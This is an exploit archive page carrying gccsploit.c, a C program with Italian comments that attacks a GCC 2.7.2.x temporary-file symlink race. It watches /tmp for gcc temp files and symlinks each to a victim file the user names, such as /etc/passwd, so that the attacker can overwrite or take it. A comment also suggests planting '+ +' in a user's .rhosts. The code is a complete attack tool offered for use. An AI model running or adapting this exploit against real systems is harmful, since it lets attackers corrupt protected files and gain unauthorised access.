flip the script

gccsploit.c

gccsploit.c
Posted Jan 10, 2000
Authored by s0ftpj, Pigpen

Gcc 2.7.2.x Exploit - C version.

MD5 | 395f6c317c136c1b5f7cb3ffb86ef9c5

gccsploit.c

Change Mirror Download
/*
GCC 2.7.2.x exploit

Crea un link su un file temporaneo di gcc con destinazione -> victim_file
Il programma aspetta dei file tmp di gcc... e poi fa il link.

Uso: ./a.out /etc/passwd &

Spero che questa roba che ho scritto funga... il prog funziona cosi':
una volta eseguito per restare in background... cerca nella directory
/tmp dei file temporanei di gcc e grazie ad un bug (in pratica questi file
temporanei seguono il link simbolico) potete far vostro un file che non lo
e'...
Questo programma potrebbe essere scritto in modo piu' proficuo per esempio
leggendo attraverso una struttura di tipo "stat" l'uid del file temporaneo
e facendo quindi un link su .rhosts della home dell'utente con quell'id
e poi scrivendoci sopra un "+ +".
Sinceramente anche se e' abbastanza facile farlo non ho coglioni di scrivere
una cosa del genere visto che attualmente lavoro con una versione del gcc
gia' patchata :)
Questo programma puo' essere ottimizzato per esempio per essere reso piu'
veloce e per far si'che dopo un ciclo non vada a rifare i link su link
gia' creati prima...
Purtroppo capisco perche' Michal Zalewsky non abbia scritto una versione in
C di tale exploit... fare uno script bash di questo tipo non richiede
praticamente niente rispetto al programma...
Anch'io come pigrizia non scherzo... im sorry :) pIGpEN

*/

#include <unistd.h>
#include <dirent.h>
#include <stdio.h>
#include <string.h>
#include <sys/time.h>
#include <sys/resource.h>

#define EXPLOIT_NAME "gcc 2.7.2.X exploit"
#define ERROR -1
#define GCC_FILE "caa"
/* questa costante potrebbe causare problemi a file su /tmp che cominciano per
caa... ma sinceramente oggi sono troppo scazzato per cercare una soluzione a
tutti i problemi della vita :) */

main(int argc, char *argv[])
{
FILE *fp;
struct dirent **filelist;
char cmd[100];
int c_ret;

if(argc!=2)
{
system("clear");
printf("%s \nWritten by pIGpEN/s0ftpj\n",EXPLOIT_NAME);
printf("Exploit by Michal Zalewsky\n");
printf("Usage: %s victim_file\n",argv[0]);
exit(ERROR);
}

if((fp=fopen(argv[1],"r"))==NULL) // va bene anche l'access() con mode F_OK
{
printf("Victim File Not Found\n");
exit(ERROR);
}

else fclose(fp);

setpriority(PRIO_PGRP,0,20);
for(;;)
{
c_ret = scandir("/tmp", &filelist, 0, alphasort);
while(c_ret--)
{
if(strstr(filelist[c_ret]->d_name,GCC_FILE)!=NULL)
{
sprintf(cmd,"ln -sf %s /tmp/%s",argv[1],filelist[c_ret]->d_name);
system(cmd);
}
}
}
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close